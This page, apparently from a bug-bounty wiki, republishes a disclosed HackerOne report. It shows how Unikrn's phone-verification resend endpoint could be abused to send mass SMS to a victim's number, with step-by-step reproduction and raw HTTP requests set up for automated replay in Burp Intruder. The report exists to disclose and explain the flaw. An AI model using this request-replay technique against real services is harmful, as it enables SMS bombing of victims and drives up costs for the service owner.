Skip to content
Business logic Disclosed report Beginner

Improper validation at Phone verification (possible cost increase + SMS SPAM attack)

The phone verification endpoint allowed repeated resend requests without proper validation, letting an attacker send many SMS messages to a target number. This could exhaust the SMS service, increase costs, and be used for SMS spam.

luciann Follow

Originally disclosed on HackerOne

  • Fixed in 21 hours
  • Paid in 21 hours
  • Disclosed after 31 days

NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to verify and then potentially issue a bounty, so be sure to take your time filling out the report! Please add the affected domain name in the Title of the report.

Summary: Improper validation at Phone verification is allowing an attacker to exhaust the SMS delivery system.

Description: Improper validation at Phone verification is allowing an attacker to exhaust the SMS delivery system probably increasing the cost of the subscription for that SMS service.

Also this can be used as a SMS SPAM Attack! (I am spamming myself at the moment at a rate of 1 SMS per 2 minutes .... using over a few hundred SMS's .. f*ck!)

Browsers Verified In:

  • Chrome
  • Firefox

Steps To Reproduce:

  1. Log in
  2. Enter mobile number of you target/victim (you, if you want to rage a few minutes later)
  3. Verify
  4. Intercept request of resend
  5. Edit request
POST /apiv2/user/verifytelephone HTTP/1.1
Host: unikrn.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://unikrn.com/profile
Content-Type: application/json
Application-Version: v3.8.5-28-g570b4be
Content-Length: 60
Cookie: __cfduid=d4df1b78e117c6c9c5fd1fdd774c758ed1503574524; CW=hkp8at5qvoeijvet63q3iei9qcsn7dff
Connection: close

{"session_id":"lcso6bc6vv2jcf7ebukdfgrfm3s38v6a","resend":1}
  1. Sent to intruder and grep "1" as follows:
POST /apiv2/user/verifytelephone HTTP/1.1
Host: unikrn.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://unikrn.com/profile
Content-Type: application/json
Application-Version: v3.8.5-28-g570b4be
Content-Length: 60
Cookie: __cfduid=d4df1b78e117c6c9c5fd1fdd774c758ed1503574524; CW=hkp8at5qvoeijvet63q3iei9qcsn7dff
Connection: close

{"session_id":"lcso6bc6vv2jcf7ebukdfgrfm3s38v6a","resend":§1§}
  1. Make a count integer and send.
  2. DO NOT VALIDATE PHONE
  3. Wait 22 minutes (no joke)
  4. Edit account information
  5. Save
  6. SPAM + Possible cost increase

= !<number of resend/integer number in intruder>

Supporting Material/References:

  • List of printscreen

Fun Request moment:

  • Can you stop the SMS's? I am going to the mountain side and I will not have a charger or any kind of charging options.

Attachments

photo_2017-08-24_17-08-45.jpg
photo_2017-08-24_17-08-45.jpg From the original on HackerOne
photo_2017-08-24_17-08-40.jpg
photo_2017-08-24_17-08-40.jpg
photo_2017-08-24_17-08-49.jpg
photo_2017-08-24_17-08-49.jpg
photo_2017-08-24_17-09-34.jpg
photo_2017-08-24_17-09-34.jpg
photo_2017-08-24_17-09-38.jpg
photo_2017-08-24_17-09-38.jpg

The original report as published on HackerOne, by luciann. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could send many SMS messages to a victim's phone, potentially increasing SMS service costs and causing a spam attack.

What the attacker needed

A valid account; victim's phone number; ability to intercept requests

How it was found

  1. Log in to the application.
  2. Enter the target mobile number for verification.
  3. Intercept the resend request.
  4. Modify the resend parameter to an integer value.
  5. Send the request repeatedly using an automated tool.
  6. Do not complete phone validation and wait for the SMS messages to be sent.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you sign up, the site sends a code to your phone. The site should limit how often you can ask for a new code. Here, it did not, so someone could make the site send many text messages to any number, which costs money and annoys the victim.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by luciann

View all

2 more disclosed reports, best first.

More from Unikrn

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.